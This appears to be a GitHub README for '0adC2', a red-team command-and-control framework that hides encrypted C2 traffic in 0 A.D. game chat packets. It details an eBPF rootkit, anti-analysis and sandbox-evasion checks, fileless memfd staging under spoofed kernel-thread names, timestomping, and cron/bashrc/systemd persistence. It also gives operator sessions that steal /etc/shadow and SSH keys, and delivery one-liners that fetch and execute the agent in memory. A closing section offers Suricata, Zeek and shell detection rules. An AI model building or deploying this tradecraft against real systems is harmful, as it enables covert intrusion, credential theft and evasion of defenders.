franckferman/0adC2
GitHub: franckferman/0adC2
一款将红队 C2 通信隐写于 0 A.D. 游戏多人协议流量中的隐蔽命令与控制框架。
Stars: 0 | Forks: 0
# 0adC2 v7
这是一款命令与控制(Command & Control, C2)框架,它将通信伪装在开源游戏 **0 A.D.** (Empires Ascendant) 的网络流量中。
**背景**:CAGIP (Crédit Agricole Group Infrastructure Platform) 内部红队工具。仅在授权的测试任务中严格允许使用。
## 目录
1. [概述](#1-vue-densemble)
2. [架构](#2-architecture)
3. [0AD 协议](#3-protocole-0ad)
4. [加密](#4-chiffrement)
5. [NMT_CHAT 隐写术](#5-steganographie-nmt_chat)
6. [Staging 链](#6-chaîne-de-staging)
7. [多态性与 IOCs](#7-polymorphisme--iocs)
8. [隐蔽技术](#8-techniques-de-discrétion)
9. [构建](#9-build)
10. [部署](#10-déploiement)
11. [操作员命令](#11-commandes-opérateur)
12. [Agent 投递](#12-livraison-de-lagent)
13. [UDP/0AD vs HTTPS](#13-udp0ad-vs-https)
14. [蓝队检测](#14-détection-blue-team)
15. [参考](#15-références)
## 1. 概述
0adC2 利用了这样一个事实:0 A.D. 的网络协议 (ENet UDP, port 20595) 在 SOC 特征库中非常罕见,没有 TLS 指纹,不会被企业 SSL 代理检查,并且具备合法流量的基线。
```
┌─────────────┐ ┌──────────────────┐ ┌──────────┐
│ Agent │ │ Serveur 0AD │ │ ctrl │
│ (Linux) │◄─UDP────►│ (public/privé) │◄─UDP────►│(opérateur│
│ │ 20595 │ ENet + NMT_CHAT │ 20595 │ │
└─────────────┘ └──────────────────┘ └──────────┘
│ │
└── ECDH X25519 + XSalsa20-Poly1305 (end-to-end) ─────┘
Les données C2 transitent en steganographie dans
le champ sender des messages de chat (invisible UI)
```
**网络分析师看到的情况**:两名玩家连接到 0AD 服务器,每 200ms 发送一次心跳,并偶尔输入一些自然的聊天消息("gg", "gl hf", "good game!")。
**实际发生的情况**:ECDH 加密的 beacon、命令执行、文件窃取,全部以 base62 编码隐藏在 NMT_CHAT 的 GUID 字段中。
## 2. 架构
### 组件
| 文件 | 作用 | 生产环境大小 |
|---------|------|-------------|
| `agent.c` | 植入目标主机的 Agent | 去除符号后约 200 KB |
| `ctrl.c` | 操作员界面 (readline, 多 Agent 支持) | 约 100 KB |
| `c2_proto.h` | 完整协议 — NMT, 隐写术, ECDH, 握手 | 独立 header |
| `stager.c` | 精简 Dropper — 通过 TCP staging 在内存中加载 agent | 去除符号后约 14 KB |
| `stage_srv.c` | Staging 服务器 — 向 stager 提供加密的 agent | 约 50 KB |
| `bpf_rootkit.bpf.c` | eBPF Rootkit — 隐藏 PID + /proc 中的 UDP 端口 | 内嵌 bytecode |
| `bpf_load.h` | 精简 ELF BPF 加载器 (无 libbpf) | header |
| `gen_agent_iocs.py` | 生成多态 IOCs (XOR 密钥, 玩家名) | 构建 script |
| `gen_agent_str.py` | 生成 OBF_MSGS blob (伪造加密聊天) | 构建 script |
| `gen_bpf_hdr.py` | 加密 BPF bytecode 并生成 `bpf_rootkit_obj.h` | 构建 script |
| `gen_obf.py` | 加密 stager 常量 (host/port/key) | 构建 script |
| `obf_agent_msgs.txt` | 包含 23 条虚假聊天消息的池 (明文,源码) | 文本 |
| `obf_config.txt` | Stager 参数 (host, port, key) | 配置 |
### 协议层
```
┌─────────────────────────────────┐
│ Application C2 │ CMD / RSP / KA / DL / UL / CTL / DH
├─────────────────────────────────┤
│ Chiffrement session │ XSalsa20-Poly1305, clé ECDH X25519
│ (bootstrap : RC4 statique) │ (premier KA uniquement)
├─────────────────────────────────┤
│ Encodage │ Base62 (alphabet alphanumérique)
├─────────────────────────────────┤
│ Steganographie NMT_CHAT v7.2 │ Indicateur type + body dans sender cstr
├─────────────────────────────────┤
│ Transport ENet │ UDP fiable (même lib que 0AD)
├─────────────────────────────────┤
│ UDP port 20595 │
└─────────────────────────────────┘
```
## 3. 0AD 协议
### 完整握手 (最大程度保真)
Agent 完整重现了 0AD 握手过程,以便在真实服务器或熟悉该协议的 Wireshark 分析师面前隐藏行踪。
```
Agent/Ctrl Serveur 0AD
│ │
│ ←── NMT_SERVER_HANDSHAKE (1) ──────────│ engine, proto version, mods
│ ──► NMT_CLIENT_HANDSHAKE (2) ─────────►│ même engine/proto/mods en miroir
│ ←── NMT_SERVER_HANDSHAKE_RESPONSE (3) ─│ assignation playerID
│ ──► NMT_AUTHENTICATE (4) ─────────────►│ nom joueur (UTF-16LE) + GUID + ""
│ ←── NMT_AUTHENTICATE_RESULT (5) ───────│ code=1 (OK)
│ ←── NMT_FILE_TRANSFER_REQUEST (12) ────│ début transfert carte
│ ←── NMT_FILE_TRANSFER_DATA (13) ───────│ données carte (ignorées)
│ ──► NMT_FILE_TRANSFER_ACK (15) ────────►│
│ ←── NMT_FILE_TRANSFER_RESPONSE (14) ───│ fin transfert
│ ──► NMT_LOADED_GAME (23) ─────────────►│
│ ←── NMT_LOADED_GAME (23) ──────────────│
│ ──► NMT_REJOINED (17) ────────────────►│ agent "rejoint la partie"
│ │
│◄──► NMT_END_COMMAND_BATCH (26) ───────►│ heartbeat toutes les ~200ms
│◄──► NMT_SYNC_CHECK (27) ──────────────►│ réponse turn + hash pseudo-stable
│ ──► NMT_CHAT (6) [C2 stego] ──────────►│ trafic C2 + faux chats
```
**保真关键点:**
- `NMT_AUTHENTICATE` : 确定性 GUID (`FNV32(name)` 格式化为 UUID hex) — 绝不为空
- `NMT_END_COMMAND_BATCH` : 每 ~200ms 发送一次,带有 ±10ms 的抖动 (jitter),turn 计数器递增
- `NMT_SYNC_CHECK` : 使用相同的 turn + 稳定的会话 hash (`FNV32(key) ^ aid_hash`) 进行回复
- 伪造聊天 (`send_plain_chat`) : 每 5-15 分钟从 OBF_MSGS 池中发送一次
### 使用的 NMT 消息类型
| 类型 | ID | 方向 | 作用 |
|------|----|------|------|
| NMT_CHAT | 6 | 双向 | 主要的 C2 载荷 |
| NMT_END_COMMAND_BATCH | 26 | agent→srv | 游戏心跳 (~200ms) |
| NMT_SYNC_CHECK | 27 | srv→agent 及回复 | 状态同步 |
| NMT_FILE_TRANSFER_ACK | 15 | agent→srv | 地图确认 |
| NMT_LOADED_GAME | 23 | 双向 | 加载完成 |
| NMT_REJOINED | 17 | agent→srv | 连接到游戏 |
## 4. 加密
### 引导阶段 — 静态 RC4
**仅**用于第一个 KA (Keep-Alive),在 ECDH 交换完成之前。KA 传输 agent 的 X25519 公钥,使用静态共享密钥(通过 agent + ctrl 参数传递)进行加密。
```
ciphertext = RC4(key=sha1(shared_key_ascii), plaintext=sysinfo)
```
### ECDH 后阶段 — XSalsa20-Poly1305
DH 交换后,每个会话通过以下方式获得唯一的派生密钥:
```
shared = X25519(ctrl_priv, agent_pub)
sess_key = SHA-256(shared ‖ agent_pub ‖ ctrl_pub) (96 bytes → 32 bytes)
ciphertext = crypto_secretbox_easy(plain, nonce_24_rand, sess_key)
wire = nonce_24 ‖ mac_16 ‖ ciphertext
base62 = b62encode(wire)
```
**属性:**
- 部分前向保密:ctrl 密钥对按会话生成,agent 密钥对在多次连接间重用,但在每次构建时重新生成
- AEAD : 完整性 + 身份验证 + 机密性
- 单个会话被攻破 ≠ 其他会话被攻破
### Staging 侧的会话派生
stager → stage_srv 通道使用相同的方案:
```
shared = X25519(stager_priv, srv_pub)
sess_key = SHA-256(shared ‖ stager_pub ‖ srv_pub)
chunks = [secretbox(chunk_4Ko, nonce_rand, sess_key)]
```
服务器密钥对在每次 stager 连接时重新生成。
## 5. NMT_CHAT 隐写术
### 线上传输格式 NMT_CHAT (0AD 原生)
```
[type:u8=6] [seq:u16 BE] [payload...]
payload :=
[sender_len:u32 BE] [sender:bytes] ← cstr ASCII
[message_len:u32 BE] [message:bytes] ← cstrw UTF-16 BE
```
### v7.2 方案 — sender 字段中的 C2
```
Paquet C2 :
sender = [type_char] + [body_base62] ← jamais affiché dans l'UI 0AD
message = "good game!" / "gl hf" / ... ← seul champ visible dans le chat
Faux chat (camouflage) :
sender = "3f2a1b4c-0042-ab3e-..." ← GUID hex (0-9/a-f) → v4_parse retourne 0
message = "anyone here?" / "nice one" / ...
```
**为什么 sender 不显示在 0AD UI 中:**
NMT_CHAT 的 sender 字段是发送玩家的 GUID,由服务器解析为显示名称。观察者和其他客户端看到的是解析后的名称,而不是原始 GUID。
**与合法 GUID 无冲突:**
真实的 0AD UUID 仅包含 `[0-9a-f-]`。C2 类型指示符使用 `'g'-'n'` (0x67–0x6E) — 超出了十六进制范围。解析 sender 字段第一个字节的程序可以立即区分这两种情况。
### 类型指示符
| 字符 | Hex | 类型 | 方向 | body 结构 (base62) |
|------|-----|------|-----------|----------------------------|
| `g` | 0x67 | DLRQ | ctrl→agent | `tok8` + `tgt` + `phash8` + `secretbox(path)` |
| `h` | 0x68 | CTL | ctrl→agent | `tok8` + `tgt` + `secretbox(commande_ctl)` |
| `i` | 0x69 | DH | ctrl→agent | `tok8` + `T` + `aid8` + `ctrl_pub_b62(64)` |
| `j` | 0x6A | CMD | ctrl→agent | `tok8` + `tgt` + `secretbox(commande_shell)` |
| `k` | 0x6B | RSP | agent→ctrl | `aid8` + `jid4` + `seq4` + `tot4` + `secretbox(chunk)` |
| `l` | 0x6C | KA | agent→ctrl | `tok8` + `aid8` + `pub_b62(64)` + `rc4(sysinfo)` |
| `m` | 0x6D | DL | agent→ctrl | `aid8` + `phash8` + `seq4` + `tot4` + `secretbox(chunk)` |
| `n` | 0x6E | UL | ctrl→agent | `tok8` + `tgt` + `phash8` + `seq4` + `tot4` + `secretbox(chunk)` |
字段:
- `tok8` : `FNV32(shared_key)` 编码为 8 个 base62 字符 — 静态身份验证
- `aid8` : `FNV32(agent_id)` 编码为 8 个 base62 字符 — Agent 标识符
- `tgt` : `'W'` (通配符 = 所有 agent) 或 `'T'` + `aid8` (定向目标)
- `phash8` : `FNV32(path)` — 文件传输标识符
- `jid4`/`seq4`/`tot4` : 作业 ID, chunk 序号, chunk 总数
### 完整的 ECDH 流程
```
agent ctrl
│ │
│── KA (type 'l') ────────────►│ pubkey agent + sysinfo RC4
│ │ ctrl génère keypair éphémère
│◄─ DH (type 'i') ────────────│ ctrl_pub en clair
│ dérive sess_key │ dérive sess_key (même calcul)
│── RSP jid=0 (type 'k') ────►│ "DH_OK" chiffré sess_key
│ │ [ECDH OK] affiché dans ctrl
│◄─ CMD (type 'j') ──────────►│ commandes chiffrées sess_key
│── RSP streaming ────────────►│ résultats en chunks
```
## 6. Staging 链
Stager 是部署在目标上的第一个 artifact。它非常精简(约 14 KB),没有 libenet,并在内存中加载完整的 agent,绝不写入磁盘。
### 架构
```
┌──────────┐ TCP/20596 ┌────────────┐ mémoire seulement ┌───────┐
│ stager │◄───────────────►│ stage_srv │──────────────────────► │ agent │
│ ~14Ko │ ECDH X25519 │ │ memfd_create() │ │
│ (cible) │ secretbox │ (opérateur│ fexecve() │ │
└──────────┘ │ │ └───────┘
└────────────┘
```
### Stager 协议 (TCP)
```
stager stage_srv
│ │
│── stager_pub (32 bytes) ───────────►│
│◄─ srv_pub (32 bytes) + total_sz ───│
│ shared = X25519(st_priv, srv_pub) │
│ sess_key = SHA-256(shared‖pubs) │
│◄─ [enc_len:u32][nonce+mac+chunk] ──│ (chunks de 4 Ko)
│ ... autant de chunks que nécessaire
│ mfd = memfd_create("[kworker/0:2]", 0)
│ fexecve(mfd, argv_agent, environ)
```
### 内存执行
```
// stager.c
int mfd = memfd_create("[kworker/0:2]", 0); // jamais sur disque
// ... écriture de l'agent déchiffré dans mfd
char *argv[] = { "systemd-journald", host, port, player, key, NULL };
fexecve(mfd, argv, environ); // exec depuis RAM
// Fallback si fexecve échoue (vieux kernel) :
execve("/proc/self/fd/", argv, environ);
```
该 `memfd`:
- 不会出现在 `ls /tmp`, `/var` 等目录中。
- 名称 `[kworker/0:2]` 在 `/proc/PID/maps` 中模拟内核线程
- 无法执行 `unlink`(没有文件系统路径)
- `argv[0]` = `"systemd-journald"` (16 字符) → 留出空间供 agent 的 `spoof_name()` 覆盖为 kworker 名称
### 启动 Staging 服务器
```
# 操作端 — 在 stager 之前启动
./stage_srv ./agent 20596
# 使用自定义端口
./stage_srv ./agent 9443
```
## 7. 多态性与 IOCs
每次执行 `make fresh` / `make fresh_all` 都会重新生成一组随机 IOCs。生成的二进制文件具有**相同的代码**但**不同的数据** — 静态特征(YARA, hash, 字符串)在每次构建时都会变化。
### 每次构建中变化的特征
| IOC | 机制 | 生成器 |
|-----|-----------|------------|
| `SB_KEY` (0x80–0xFF) | sandbox/proto 字符串的 XOR 密钥 | `gen_agent_iocs.py` |
| `PN_KEY` (0x80–0xFF) | 进程名的 XOR 密钥 | `gen_agent_iocs.py` |
| BPF bytecode XOR 密钥 | 对嵌入的 bytecode 进行类 AES 的滚动 XOR | `gen_bpf_hdr.py` |
| 20 个玩家名 | 从 200 个基础名中抽取,并进行变异(添加字母+数字的前缀/后缀) | `gen_agent_iocs.py` |
| OBF_MSGS blob 种子 | 对虚假聊天池进行随机种子的滚动 XOR | `gen_agent_str.py` |
| Stager 常量 | Host/port/key 经过 XOR 加密,随机种子 | `gen_obf.py` |
### 二进制文件中的密钥保护
XOR 密钥不作为整数存储。以 `SB_KEY` 为例:
```
// obf_agent_iocs.h (généré)
static volatile uint8_t _k_sb_hi = 0xBu; // nibble haut
static volatile uint8_t _k_sb_lo = 0x3u; // nibble bas
#define SB_KEY ((uint8_t)((_k_sb_hi << 4) | _k_sb_lo))
```
- `volatile` : 禁止 GCC/Clang 即使在 `-O2` 优化下进行常量折叠
- 二进制文件中任何地方都找不到 `0xB3`
- 能够抵御针对密钥值的 `strings` grep 或 YARA 扫描
### 玩家名池
200 个历史和游戏玩家名称(示例):
```
caesar, leonidas, hannibal, scipio, saladin, genghis, timur,
pericles, themistocles, pyrrhus, hamilcar, darius, artaxerxes,
nomad, xorion, spartan, legatus, centurion, ...
```
每次构建时,会抽取 20 个并进行变异:
```
caesar → caesar7x (suffix digits)
leonidas → 42leonidas (prefix digits)
saladin → lssaladin (prefix letters)
spartan → 93spartan (prefix digits)
```
结果:针对特定玩家名的 YARA 规则无法连续匹配两次构建。
### 不变的特征(当前限制)
- 编译后的 x86 Opcodes — `.text` 中的字节序列在不同构建间保持一致
- 函数偏移和 ELF 结构
- 针对特征 opcode 的 YARA (序言, io_uring 模式, RDTSC 序列) 会匹配所有构建结果
**完整的二进制多态性**(未实现)需要:等效的 LLVM 垃圾代码插入 pass、基础块重排或编译后的 packer。
### 显示某次构建的玩家名
```
make show_players
# _pn0: constantiusy65
# _pn1: 359maecenas
# _pn2: onagerjs
# ...
```
## 8. 隐蔽技术
### Agent — 进程层
| 技术 | 实现 | 绕过 |
|-----------|---------------|-----------|
| 双重 fork 守护进程 | `fork()×2` + `setsid()`, PPID=1, stdin/stdout → `/dev/null` | 可疑的孤儿进程,终端痕迹 |
|程名伪造 | `prctl(PR_SET_NAME, nm)` + 内存中覆盖 `argv[0]` | `ps`, `top`, `pgrep` |
| eBPF Rootkit — 进程 | Hook `getdents64` → 移除该 PID 的 dirent64 条目 | `ls /proc`, `ps`, `top` |
| eBPF Rootkit — 网络 | Hook `openat`+`read` → 动态修改 `/proc/net/udp` | `netstat -uap`, `ss -upn` |
| `PR_SET_DUMPABLE=0` | 禁止 coredump,无 CAP_SYS_PTRACE 无法访问 `/proc/PID/mem` | 内存取证转储 |
| `loginuid` 重置 | 向 `/proc/self/loginuid` 写入 `4294967295` | auditd 中的 SSH/PAM 跟踪痕迹 |
| `oom_score_adj=-500` | 受 OOM killer 保护,与系统守护进程保持一致 | 意外终止 |
| 自我删除 | 如果在磁盘上,则在 exec 之前执行 `unlink(readlink("/proc/self/exe"))` | 磁盘文件扫描 |
| Timestomp | `utimensat()` 将 mtime/atime 对齐 `/bin/sh` | 取证时间轴 |
| 清理环境 | `clearenv()` 然后仅保留 HOME + PATH + TERM=dumb | `/proc/PID/environ` |
| 直接反 ptrace | 无需 PLT 直接调用 `syscall(__NR_ptrace, PTRACE_TRACEME)` | Debugger attach |
### Agent — 内存与 IO 层
| 技术 | 实现 | 绕过 |
|-----------|---------------|-----------|
| 网络 io_uring | `sendmsg()`/`recvmsg()` 通过 IORING_OP_SENDMSG/RECVMSG 封装 | strace, auditd syscall filter, Falco |
| 文件 io_uring | 通过 IORING_OP_OPENAT + IORING_OP_READ 打开 + 读取 | Falco kprobe `openat`/`read` |
| Sleep io_uring | 使用 `IORING_OP_TIMEOUT` 代替 `nanosleep(2)` | Falco kprobe `nanosleep` |
| SQPOLL io_uring | `IORING_SETUP_SQPOLL` — 网络提交实现零 syscall | syscall 追踪 (设置后) |
| SilentPulse | 在长时间睡眠期间:XOR `.text` + `mprotect(RW)`,随后恢复 | eBPF 内存扫描,.text 签名 |
| RWX Stub | 复制到 `mmap(RWX)` 的独立 stub 执行 XOR + sleep | 通过内存 IP 进行归因 |
| `sodium_mlock()` | 会话密钥 + 私钥锁定在 RAM 中(无 swap,无 coredump) | Swap/休眠取证 |
| 字符串 XOR 半字节拆分 | 所有敏感字符串均使用 `SB_KEY` 编码,运行时解码 | `strings(1)`, YARA static |
### Agent — 反分析
| 检查项 | 检测目标 |
|-------|---------|
| Uptime < 5 分钟 | 刚启动的沙箱 |
| 进程数 < 20 | 最小化的环境 |
| `TracerPid ≠ 0` | 激活的 ptrace |
| DMI product_name | VirtualBox, VMware, QEMU, KVM, Xen, Bochs, Hyper-V |
| CPU 核心 < 2 | 单核 VM |
| MemTotal < 1 GB | 轻量级沙箱 |
| CPUID 引发的 RDTSC 增量 > 50 万 ticks | VM exit 开销 |
| 10×NOP 的 RDTSC 增量 > 5 万 ticks | 单步调试器 |
| CPUID 叶节点 1 的 ECX 位 31 | Hypervisor present bit |
| 非空的 `LD_PRELOAD` | Frida, ltrace, 沙箱 hook |
| `LD_AUDIT` / `LD_DEBUG` | 运行时插桩 |
| `PTRACE_TRACEME` → `EPERM` | 已附加跟踪器 |
### 网络流量
| 行为 | 细节 |
|-------------|--------|
| NMT_END_COMMAND_BATCH 心跳 | 每 ~200ms 一次,递增 turn 计数器,±10ms 抖动 |
| 泊松分布的 KA | 间隔时间呈指数分布(均值 20s)— 与自发流量无法区分 |
| 伪造聊天 | 每 5-15 分钟发送自然消息 (OBF_MSGS 池),sender = 合法的 hex GUID |
| NMT_AUTHENTICATE GUID | 由玩家名确定 (FNV32),合法的 UUID 格式 |
| NMT_SYNC_CHECK | 使用服务器 turn + 伪稳定的会话 hash 回复 |
| v7.2 隐写术 | 消息体 = 显示的自然文本;C2 数据在 sender 中(不可见) |
## 9. 构建
### 依赖
```
sudo apt install libenet-dev libsodium-dev libreadline-dev clang python3
# 可选(BPF rootkit):
sudo apt install libbpf-dev bpftool
```
验证:
```
make check_deps
```
### 主要目标
| 命令 | 结果 | 用途 |
|----------|----------|-------|
| `make fresh_debug` | `agent_debug` + `ctrl` (新 IOCs) | 测试,开发 |
| `make fresh` | 去除符号的 `agent` + `ctrl` (新 IOCs) | 无 stager 生产环境 |
| `make fresh_all` | `agent` + `ctrl` + `stager` + `stage_srv` (全新 IOCs) | **在每次行动之前** |
| `make fresh_all EXPIRE_DAYS=30` | 同上 + agent 编译注入 30 天的 kill-date | 有时间限制的行动 |
| `make stager_fresh` | 仅 Stager,全新 stager IOCs | 仅轮换 stager |
| `make agent_verbose` | 带有 stderr 协议追踪的 Agent | 协议调试 |
| `make clean` | 删除二进制文件 + 生成的 headers | 完全重置 |
### 关键构建选项
```
# Kill-date:agent 在该日期后自动静默删除
make fresh_all EXPIRE_DAYS=14
# 用于 debug 协议的 verbose build
make agent_verbose
./agent_verbose 20595 # traces détaillées sur stderr
# 检查当前 build 的玩家名称
make show_players
# 用于 tracking IOC 的 SHA256 hashes
make hashes
```
### Agent 变体
| 二进制文件 | 守护进程 | 沙箱 | BPF Rootkit | self_delete | 去除符号 |
|---------|--------|---------|-------------|-------------|--------|
| `agent` | 是 | 是 | 是 | 是 | 是 |
| `agent_debug` | 否 | 否 | 否 | 否 | 否 |
| `agent_verbose` | 否 | 否 | 否 | 否 | 否 |
## 10. 部署
### 推荐完整流程
```
# 1. 使用新 IOCs build 所有内容
make fresh_all EXPIRE_DAYS=30
# 2. 配置 stager (obf_config.txt)
cat obf_config.txt
# STAGE_HOST = 192.168.1.10
# STAGE_PORT = 20596
# AGENT_SRV_HOST = 10.0.0.5
# AGENT_SRV_PORT = 20595
# AGENT_PLAYER = theodoric2
# AGENT_KEY = MySecretKey42
make stager_fresh # régénère avec la nouvelle config
# 3. 操作端 — 按顺序启动
./stage_srv ./agent 20596 & # serveur de staging
./ctrl 10.0.0.5 20595 Spectator42 MySecretKey42
# 4. 目标端 — 执行 stager
./stager # ou via la technique de livraison choisie
# 5. 在 ctrl 中,等待 KA 然后 ECDH
# [KA] theodoric2-a3f9 h=srv01|u=root|...
# [DH →] theodoric2-a3f9
# [ECDH OK] theodoric2-a3f9
```
### ctrl 会话示例
```
0adc2> !agents
theodoric2-a3f9c1e2 hash=b3a91f4d vu=3s ECDH✓
0adc2> !target theodoric2-a3f9c1e2
[*] Cible : theodoric2-a3f9c1e2 [ECDH✓]
0adc2> id
[>>] id (→ theodoric2-a3f9c1e2)
[theodoric2-a3f9c1e2 / job 1]
uid=0(root) gid=0(root) groups=0(root)
[job 1 done, 1 chunks]
0adc2> !dl /etc/shadow
0adc2> !ul ./backdoor /usr/local/lib/.cache/svc-b3a91f4d
0adc2> !persist cron
0adc2> !persist bashrc
0adc2> !sleep 300
0adc2> !die
```
### 多 Agent 管理
```
0adc2> !agents
theodoric2-a3f9 ECDH✓ vu=2s
363maecenas-c1b7 ECDH✓ vu=8s
onagerjs-5f2a no DH vu=1s (KA reçu, DH en cours)
0adc2> !target *
0adc2> uptime # envoyé à tous les agents ECDH établi
0adc2> !target theodoric2-a3f9
0adc2> cat /root/.ssh/id_rsa
```
## 11. 操作员命令
### ctrl 命令
| 命令 | 描述 |
|----------|-------------|
| `` | 在目标 agent 上通过 `/bin/sh -c` 执行 `` (ECDH 加密,流式传输) |
| `!agents` | 列出所有已知 agent 及其 ECDH 状态和最后活动时间 |
| `!target ` | 定位特定 agent 或全部 agent (`*`) |
| `!jobs` | 列出目标 agent 上正在进行的作业 |
| `!kill ` | 向作业 N 发送 SIGKILL |
| `!dl ` | 从 agent 下载文件 (加密分块,本地重组) |
| `!ul []` | 向 agent 发送文件 (最大 4 MB) |
| `!persist cron` | 通过用户 crontab 持久化 (`@reboot`) |
| `!persist bashrc` | 通过 `~/.bashrc` 持久化 (交互式会话) |
| `!persist systemd` | 通过 `systemd --user` 服务持久化 |
| `!persist syscron` | 通过 `/etc/cron.d/` 持久化 (需要 root) |
| `!persist profile` | 通过 `/etc/profile.d/` 持久化 (需要 root) |
| `!sleep ` | 将 agent 暂停 N 秒 (io_uring sleep,auditd 不可见) |
| `!die` | 优雅终止 agent (调用 sodium_memzero 清除密钥, `_exit(0)`) |
| `!help` | 显示帮助 |
| `!quit` | 退出 ctrl |
### 导航
- `↑` / `↓` : 命令历史 (readline)
- `Ctrl-C` : 中断 ctrl (agent 继续自主运行)
- `Tab` : 补全 (readline,如果已配置)
### 文件下载
```
# Download — 将 /etc/shadow 获取到当前的 ctrl 目录中
0adc2> !dl /etc/shadow
[DL OK] /etc/shadow → ./shadow (theodoric2-a3f9)
# Upload — 向 agent 发送二进制文件
0adc2> !ul ./agent_v2 /usr/local/lib/.cache/svc-newbuild
[UL] ./agent_v2 → /usr/local/lib/.cache/svc-newbuild (512000 o, 3200 chunks)
```
### 持久化
所有的持久化操作:
1. 将 agent 二进制文件复制到 `~/.local/share/.svc-` (或对于 root 复制到 `/usr/local/lib/.cache/svc-`)
2. 执行 timestomp (mtime/atime = `/bin/sh`)
3. 使用正确的参数配置选定的机制 (host, port, name, key)
## 12. Agent 投递
Stager 是投放至目标的首个 artifact。根据具体环境的选项:
### 选项 A — 直接 SSH/RCE 访问
```
# 复制 stager 并执行
scp stager user@target:/tmp/.s
ssh user@target '/tmp/.s && rm /tmp/.s'
```
### 选项 B — 无磁盘写入 (curl + python)
```
# 在内存中执行 stager 的 Python one-liner
# (没有 ECDH 的简化逻辑 — 需替换为完整的 stager)
python3 -c "
import socket, os, ctypes, struct
libc = ctypes.CDLL(None)
mfd = libc.memfd_create(b'[kworker/0:2]', 0)
s = socket.create_connection(('', 20596))
# ... 接收并写入 mfd
os.execve('/proc/self/fd/%d' % mfd,
['systemd-journald','','20595',''], os.environ)
"
```
### 选项 C — 通过恶意 `.so` 进行 LD_PRELOAD
```
# 如果可以在目标上放置 .so 文件
# stager 在 __attribute__((constructor)) 构造函数中运行
gcc -shared -fPIC -nostartfiles -o /tmp/.l.so stager_preload.c
LD_PRELOAD=/tmp/.l.so /bin/ls
```
### 选项 D — 通过持久化进行后渗透
从已建立的 agent 执行:
```
0adc2> !ul ./stager_next_op /tmp/.s
0adc2> /tmp/.s
```
## 13. UDP/0AD 与 HTTPS 的对比
### 直接对比
| 标准 | 0adC2 v7 UDP/0AD | 传统 HTTPS C2 |
|---------|------------------|--------------------|
| 加密 | XSalsa20-Poly1305 (应用层) | TLS 1.3 (传输层) |
| TLS 指纹 | **无** — 没有 TLS 握手 | JA3/JA3S, JARM, tls-fingerprint |
| SNI / DNS | **无** — 直接 IP, UDP | SNI 可见,被动 DNS 查询 |
| CT 日志 | **无** | CT 日志中的公共证书 |
| SSL 代理检查 | **不可能** (UDP ≠ 代理) | Zscaler/BlueCoat/Palo Alto MITM |
| 端口 | 20595 — 游戏端口,很少被监控 | 443 — 默认被检查 |
| 应用层 DPI | 极少 (特定的 ENet/0AD 解码器) | 通用的标准 HTTP 解码器 |
| 基础设施 | 公开或私有的 0AD 服务器 — 不会暴露 | 域名 + 证书 + IP 信誉 |
| Beacon 规律性 | 200ms 游戏 + 20s 泊松分布 KA — 自然 | 规律的 Beacon — 极易检测 |
| 基线合法性 | 同一协议上的真实玩家 | 全新域名 = 立即引起怀疑 |
### UDP/0AD 的优势
**零加密指纹。** JA3 是一个公开的特征库,记录了 Cobalt Strike, Havoc, Sliver, Metasploit 等的 ClientHello... 0adC2 没有 TLS 握手 → JA3 = N/A。JARM = N/A。
**零基础设施暴露。** 无域名(无被动 DNS),无证书(无 CT 日志记录),无需建立 IP 信誉。“C2 服务器”只是一个 50 KB 的 ENet 二进制文件。如果目标被攻破 — 我们的基础设施方面不会有任何损失。
**SSL 代理盲区。** 企业代理 (Zscaler, BlueCoat, Palo Alto SSL Inspection) 执行 TLS MITM。它们无法拦截任意的 UDP 流量。即使在完全检查 HTTPS 的 SI 环境中,XSalsa20-Poly1305 依然保持端到端加密。
**现有流量基线。** 0AD 拥有数以千计的真实玩家。在偶尔有开发者玩游戏的企业网络中,UDP/20595 流量并不异常。而在威胁情报中,昨天刚注册的域名会立刻引起怀疑。
### 局限性
**边界穿越。** 端口 443 是全网开放的。在极其严格的 SI(银行、工业)中,UDP/20595 可能会被封锁。需要在部署前根据目标进行评估。
**Sender cstr 长度。** 合法的 0AD UUID 为 36 个字符。包含完整 base62 主体的 C2 sender 可能会超过 100 个字符 — 可被特定 DPI 检测到(见下文 Suricata 规则)。未来的缓解措施:将主体分片到多个数据包中。
**无 Domain Fronting。** 位于 CDN 后的 HTTPS C2 可以通过 SNI ≠ Host 掩盖真实目的地。UDP 没有等效机制。
### 按场景的结论
| 目标 SI | 推荐通道 |
|----------|-----------------|
| 游戏端口开放,无 SSL 检查 | 0adC2 UDP |
| 极度过滤的 SI (仅 443/80) | HTTPS |
| 启用 SSL 检查 (Zscaler 等) | 0adC2 UDP |
| 无 0AD 基线目标 | (20595 流量过于显眼) |
| 存在已知 0AD 玩家的目标 | 0adC2 UDP |
## 14. 蓝队检测
### Suricata — 网络规则
```
# 0adC2 v7.2 — sender cstr 异常长
# 合法 UUID = 36 字符;base62 body 可能超过 100 字符
alert udp any any -> any 20595 (
content:"|06|"; offset:0; depth:1;
byte_test:4,>,36,3;
msg:"0adC2 NMT_CHAT sender field longueur anormale (v7.2)";
sid:9010; rev:2;)
# 0adC2 v7.2 — sender 的首字节在 ['g'..'n'] (0x67-0x6E) 范围内
# 合法 0AD UUIDs:仅包含 [0-9a-f-]
alert udp any any -> any 20595 (
content:"|06|"; offset:0; depth:1;
byte_test:1,>=,0x67,7;
byte_test:1,<=,0x6E,7;
msg:"0adC2 type indicator g-n dans NMT_CHAT sender";
sid:9011; rev:2;)
# 端口 20595 上的非 0AD 进程(行为启发式分析)
# 需通过脚本实现 — Suricata 无法交叉比对 PID/端口
```
### 行为检测 (Linux)
```
# 端口 20595 上 exe 不是 0AD 的进程
ss -upnH sport = :20595 | awk '{print $6}' | grep -oP 'pid=\K[0-9]+' | \
while read pid; do
exe=$(readlink /proc/$pid/exe 2>/dev/null)
echo "$pid: $exe" | grep -v "0ad"
done
# 可疑的进程名称(通常不存在的 daemon)
# agents 伪装成 kworker/X:Y、systemd-journald、NetworkManager 等
# 与预期的真实进程列表进行交叉比对
# 打开的 memfd 文件(通过 stager 交付的 agents)
ls -la /proc/*/fd 2>/dev/null | grep memfd
```
### Zeek — ENet 协议分析
```
# 检测 sender 以 'g'-'n' (0x67-0x6E) 开头的 NMT_CHAT
event udp_contents(c: connection, is_orig: bool, contents: string) {
if (c$id$resp_p == 20595/udp) {
if (|contents| > 10 && contents[0] == "\x06") {
local sender_first = contents[7];
if (sender_first >= "\x67" && sender_first <= "\x6E")
NOTICE([$note=C2_0adC2_Detected,
$msg=fmt("0adC2 type indicator '%s' dans NMT_CHAT sender", sender_first),
$conn=c]);
}
}
}
```
### 需监控的静态 IOC (但每次构建都会轮换)
| IOC | 稳定性 |
|-----|-----------|
